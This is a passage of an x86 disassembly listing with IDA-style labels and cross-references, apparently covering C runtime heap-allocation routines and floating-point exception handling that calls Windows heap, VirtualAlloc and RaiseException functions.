loc_418F05: ; CODE XREF: sub_418E53+9Fj
jnz short loc_418F2D
mov ebx, edx
loc_418F09: ; CODE XREF: sub_418E53+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_418F1D
cmp dword ptr [ebx+8], 0
jnz short loc_418F1B
add ebx, 14h
jmp short loc_418F09
; ---------------------------------------------------------------------------
loc_418F1B: ; CODE XREF: sub_418E53+C1j
cmp ebx, eax
loc_418F1D: ; CODE XREF: sub_418E53+BBj
jnz short loc_418F2D
call sub_41915C
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_418F41
loc_418F2D: ; CODE XREF: sub_418E53:loc_418F05j
; sub_418E53:loc_418F1Dj
push ebx
call sub_41920D
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_418F48
loc_418F41: ; CODE XREF: sub_418E53+D8j
xor eax, eax
jmp loc_419157
; ---------------------------------------------------------------------------
loc_418F48: ; CODE XREF: sub_418E53+7Aj
; sub_418E53:loc_418EEDj ...
mov dword_46AAF0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_418F6F
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418FA6
loc_418F6F: ; CODE XREF: sub_418E53+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_418FA3
loc_418F8C: ; CODE XREF: sub_418E53+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_418F8C
loc_418FA3: ; CODE XREF: sub_418E53+137j
mov edx, [ebp+var_4]
loc_418FA6: ; CODE XREF: sub_418E53+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_418FCF
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_418FCF: ; CODE XREF: sub_418E53+16Dj
; sub_418E53+183j
test ecx, ecx
jl short loc_418FD8
shl ecx, 1
inc edi
jmp short loc_418FCF
; ---------------------------------------------------------------------------
loc_418FD8: ; CODE XREF: sub_418E53+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_418FF5
push 3Fh
pop esi
loc_418FF5: ; CODE XREF: sub_418E53+19Dj
cmp esi, edi
jz loc_41910A
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419066
cmp edi, 20h
jge short loc_419035
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_419063
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_419066
; ---------------------------------------------------------------------------
loc_419035: ; CODE XREF: sub_418E53+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_419063
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_419066
; ---------------------------------------------------------------------------
loc_419063: ; CODE XREF: sub_418E53+1D6j
; sub_418E53+203j
mov ebx, [ebp+arg_0]
loc_419066: ; CODE XREF: sub_418E53+1B0j
; sub_418E53+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_419116
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419107
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_4190D8
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4190C6
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_4190C6: ; CODE XREF: sub_418E53+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_419107
; ---------------------------------------------------------------------------
loc_4190D8: ; CODE XREF: sub_418E53+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_4190F1
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_4190F1: ; CODE XREF: sub_418E53+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_419107: ; CODE XREF: sub_418E53+24Ej
; sub_418E53+283j
mov ecx, [ebp+var_8]
loc_41910A: ; CODE XREF: sub_418E53+1A4j
test ecx, ecx
jz short loc_419119
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_419119
; ---------------------------------------------------------------------------
loc_419116: ; CODE XREF: sub_418E53+229j
mov ecx, [ebp+var_8]
loc_419119: ; CODE XREF: sub_418E53+2B9j
; sub_418E53+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41914F
cmp ebx, dword_46AAF4
jnz short loc_41914F
mov ecx, [ebp+var_4]
cmp ecx, dword_46AAEC
jnz short loc_41914F
and dword_46AAF4, 0
loc_41914F: ; CODE XREF: sub_418E53+2E0j
; sub_418E53+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_419157: ; CODE XREF: sub_418E53+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_418E53 endp
; =============== S U B R O U T I N E =======================================
sub_41915C proc near ; CODE XREF: sub_418E53+CCp
mov eax, dword_46AAF8
mov ecx, dword_46AAE8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41919F
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_46AAFC
push edi
push dword_46AB00
call dword_421160 ; RtlReAllocateHeap
cmp eax, edi
jz short loc_4191EF
add dword_46AAE8, 10h
mov dword_46AAFC, eax
mov eax, dword_46AAF8
loc_41919F: ; CODE XREF: sub_41915C+11j
mov ecx, dword_46AAFC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_46AB00
lea esi, [ecx+eax*4]
call dword_42114C ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_4191EF
push 4
push 2000h
push 100000h
push edi
call dword_42117C ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_4191F3
push dword ptr [esi+10h]
push edi
push dword_46AB00
call dword_421150 ; RtlFreeHeap
loc_4191EF: ; CODE XREF: sub_41915C+30j
; sub_41915C+67j
xor eax, eax
jmp short loc_41920A
; ---------------------------------------------------------------------------
loc_4191F3: ; CODE XREF: sub_41915C+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_46AAF8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41920A: ; CODE XREF: sub_41915C+95j
pop edi
pop esi
retn
sub_41915C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41920D proc near ; CODE XREF: sub_418E53+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41921F: ; CODE XREF: sub_41920D+19j
test eax, eax
jl short loc_419228
shl eax, 1
inc ebx
jmp short loc_41921F
; ---------------------------------------------------------------------------
loc_419228: ; CODE XREF: sub_41920D+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41923D: ; CODE XREF: sub_41920D+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41923D
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_42117C ; VirtualAlloc
test eax, eax
jnz short loc_419270
or eax, 0FFFFFFFFh
jmp loc_419303
; ---------------------------------------------------------------------------
loc_419270: ; CODE XREF: sub_41920D+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_4192B6
lea eax, [edi+10h]
loc_41927D: ; CODE XREF: sub_41920D+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41927D
loc_4192B6: ; CODE XREF: sub_41920D+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_4192F3
or [eax+4], edi
loc_4192F3: ; CODE XREF: sub_41920D+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_419303: ; CODE XREF: sub_41920D+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41920D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419308 proc near ; CODE XREF: sub_4174DF+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_4194B6
test bl, 1
jnz loc_4194AF
add ebx, ecx
cmp esi, ebx
jg loc_4194AF
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41937F
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41937F: ; CODE XREF: sub_419308+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_4193CF
cmp ecx, 20h
jnb short loc_4193AB
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_4193CF
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_4193CF
; ---------------------------------------------------------------------------
loc_4193AB: ; CODE XREF: sub_419308+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_4193CF
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_4193CF: ; CODE XREF: sub_419308+7Dj
; sub_419308+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41949D
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_419409
push 3Fh
pop edi
loc_419409: ; CODE XREF: sub_419308+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41948B
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_419462
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419455
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_419455: ; CODE XREF: sub_419308+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_419487
; ---------------------------------------------------------------------------
loc_419462: ; CODE XREF: sub_419308+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_419478
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_419478: ; CODE XREF: sub_419308+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_419487: ; CODE XREF: sub_419308+158j
shr edx, cl
or [eax], edx
loc_41948B: ; CODE XREF: sub_419308+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_4194A0
; ---------------------------------------------------------------------------
loc_41949D: ; CODE XREF: sub_419308+E5j
mov edx, [ebp+arg_4]
loc_4194A0: ; CODE XREF: sub_419308+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_4195F6
; ---------------------------------------------------------------------------
loc_4194AF: ; CODE XREF: sub_419308+52j
; sub_419308+5Cj
xor eax, eax
jmp loc_4195F9
; ---------------------------------------------------------------------------
loc_4194B6: ; CODE XREF: sub_419308+49j
jge loc_4195F6
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_4194E1
push 3Fh
pop esi
loc_4194E1: ; CODE XREF: sub_419308+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_419570
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_4194FA
push 3Fh
pop esi
loc_4194FA: ; CODE XREF: sub_419308+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_419549
cmp esi, 20h
jnb short loc_419525
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_419546
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_419546
; ---------------------------------------------------------------------------
loc_419525: ; CODE XREF: sub_419308+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_419546
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_419546: ; CODE XREF: sub_419308+214j
; sub_419308+21Bj ...
mov ebx, [ebp+arg_4]
loc_419549: ; CODE XREF: sub_419308+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_419570
push 3Fh
pop esi
loc_419570: ; CODE XREF: sub_419308+1DDj
; sub_419308+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_4195ED
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_4195C4
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4195B7
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_4195B7: ; CODE XREF: sub_419308+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_4195E9
; ---------------------------------------------------------------------------
loc_4195C4: ; CODE XREF: sub_419308+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_4195DA
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_4195DA: ; CODE XREF: sub_419308+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_4195E9: ; CODE XREF: sub_419308+2BAj
shr edx, cl
or [eax], edx
loc_4195ED: ; CODE XREF: sub_419308+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_4195F6: ; CODE XREF: sub_419308+1A2j
; sub_419308:loc_4194B6j
push 1
pop eax
loc_4195F9: ; CODE XREF: sub_419308+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_419308 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_4195FE(int,int,double,int)
sub_4195FE proc near ; CODE XREF: sub_415E6C+51p
; sub_415FB3+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_4386E8, 0
jnz short loc_419633
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_419BB3
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419633: ; CODE XREF: sub_4195FE+Aj
push 0FFFFh
mov dword_469494, 21h
push [ebp+arg_C]
call sub_419E26
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_4195FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419651(int,int,double,double,int)
sub_419651 proc near ; CODE XREF: sub_415E6C:loc_415F2Fp
; sub_415FB3:loc_416076p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_41999C
add esp, 0Ch
test eax, eax
jnz short loc_41968F
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4196E9
add esp, 18h
loc_41968F: ; CODE XREF: sub_419651+1Aj
push [ebp+arg_0]
call sub_419C86
cmp dword_4386E8, 0
pop ecx
jnz short loc_4196CD
test eax, eax
jz short loc_4196CD
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_419BB3
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_4196CD: ; CODE XREF: sub_419651+4Ej
; sub_419651+52j
push eax
call sub_419C3B
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_419E26
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_419651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196E9 proc near ; CODE XREF: sub_419651+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_41971B
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_41971B: ; CODE XREF: sub_4196E9+23j
test cl, 2
jz short loc_41972E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_41972E: ; CODE XREF: sub_4196E9+35j
test cl, bl
jz short loc_419740
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_419740: ; CODE XREF: sub_4196E9+47j
test cl, 4
jz short loc_419753
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_419753: ; CODE XREF: sub_4196E9+5Aj
test cl, 8
jz short loc_419766
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_419766: ; CODE XREF: sub_4196E9+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_419E09
test al, bl
jz short loc_4197EF
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4197EF: ; CODE XREF: sub_4196E9+FDj
test al, 4
jz short loc_4197FA
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4197FA: ; CODE XREF: sub_4196E9+108j
test al, 8
jz short loc_419805
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_419805: ; CODE XREF: sub_4196E9+113j
test al, 10h
jz short loc_41980F
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_41980F: ; CODE XREF: sub_4196E9+11Ej
test al, 20h
jz short loc_419819
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_419819: ; CODE XREF: sub_4196E9+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_419858
cmp eax, 400h
jz short loc_41984A
cmp eax, 800h
jz short loc_41983E
cmp eax, ecx
jnz short loc_41985E
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_41985E
; ---------------------------------------------------------------------------
loc_41983E: ; CODE XREF: sub_4196E9+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_419854
; ---------------------------------------------------------------------------
loc_41984A: ; CODE XREF: sub_4196E9+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_419854: ; CODE XREF: sub_4196E9+15Fj
mov [eax], ecx
jmp short loc_41985E
; ---------------------------------------------------------------------------
loc_419858: ; CODE XREF: sub_4196E9+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_41985E: ; CODE XREF: sub_4196E9+14Bj
; sub_4196E9+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_419889
cmp eax, 200h
jz short loc_41987C
cmp eax, ecx
jnz short loc_419896
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_419896
; ---------------------------------------------------------------------------
loc_41987C: ; CODE XREF: sub_4196E9+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_419894
; ---------------------------------------------------------------------------
loc_419889: ; CODE XREF: sub_4196E9+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_419894: ; CODE XREF: sub_4196E9+19Ej
mov [eax], ecx
loc_419896: ; CODE XREF: sub_4196E9+189j
; sub_4196E9+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_419E17
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_421184 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_419910
and dword ptr [esi], 0FFFFFFFEh
loc_419910: ; CODE XREF: sub_4196E9+222j
test byte ptr [eax+8], 8
jz short loc_419919
and dword ptr [esi], 0FFFFFFFBh
loc_419919: ; CODE XREF: sub_4196E9+22Bj
test byte ptr [eax+8], 4
jz short loc_419922
and dword ptr [esi], 0FFFFFFF7h
loc_419922: ; CODE XREF: sub_4196E9+234j
test byte ptr [eax+8], 2
jz short loc_41992B
and dword ptr [esi], 0FFFFFFEFh
loc_41992B: ; CODE XREF: sub_4196E9+23Dj
test [eax+8], bl
jz short loc_419933
and dword ptr [esi], 0FFFFFFDFh
loc_419933: ; CODE XREF: sub_4196E9+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_419967
dec ecx
jz short loc_41995B
dec ecx
jz short loc_419951
dec ecx
jnz short loc_419969
or byte ptr [esi+1], 0Ch
jmp short loc_419969
; ---------------------------------------------------------------------------
loc_419951: ; CODE XREF: sub_4196E9+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_419963
; ---------------------------------------------------------------------------
loc_41995B: ; CODE XREF: sub_4196E9+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_419963: ; CODE XREF: sub_4196E9+270j
mov [esi], ecx
jmp short loc_419969
; ---------------------------------------------------------------------------
loc_419967: ; CODE XREF: sub_4196E9+257j
and [esi], edx
loc_419969: ; CODE XREF: sub_4196E9+260j
; sub_4196E9+266j ...
mov ecx, [eax]
